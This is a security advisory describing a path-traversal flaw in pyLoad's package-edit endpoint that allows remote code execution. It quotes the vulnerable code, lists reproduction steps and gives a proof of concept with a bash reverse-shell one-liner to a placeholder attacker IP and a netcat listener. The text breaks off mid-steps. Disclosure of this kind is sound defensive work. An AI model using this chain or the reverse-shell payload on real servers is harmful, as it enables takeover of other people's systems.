Download to arbitrary folder can lead to RCE

Summary

A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.

Details

When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.

src/pyload/core/api/init.py::add_package::L432

  folder = (
      folder.replace("http://", "")
      .replace("https://", "")
      .replace(":", "")
      .replace("/", "_")
      .replace("\\", "_")
  )

So if a package were created with the name "../" the application would instead create the folder "/downloads/.._/"

However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.

src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195

  id = int(flask.request.form["pack_id"])
  data = {
      "name": flask.request.form["pack_name"],
      "_folder": flask.request.form["pack_folder"],
      "password": flask.request.form["pack_pws"],
  }

  api.set_package_data(id, data)

Steps to reproduce

1. Login to a pyLoad instance
2. Go to "Queue" and create a new package with any name and a valid link
3. Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/"
4. Restart the package
5. Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"

Remote code execution proof-of-concept

It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.

On attacker machine

1. Start a web server hosting a malicious script

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80

2. Start netcat listener for reverse shells

nc -vklp 9999

On pyLoad

1. Change pyLoad file permission settings

   Change permissions of downloads: On Permission mode for downloaded files: 0744

2. Create a package with link pointing to the attacker

   http://<attacker_ip>/evil.sh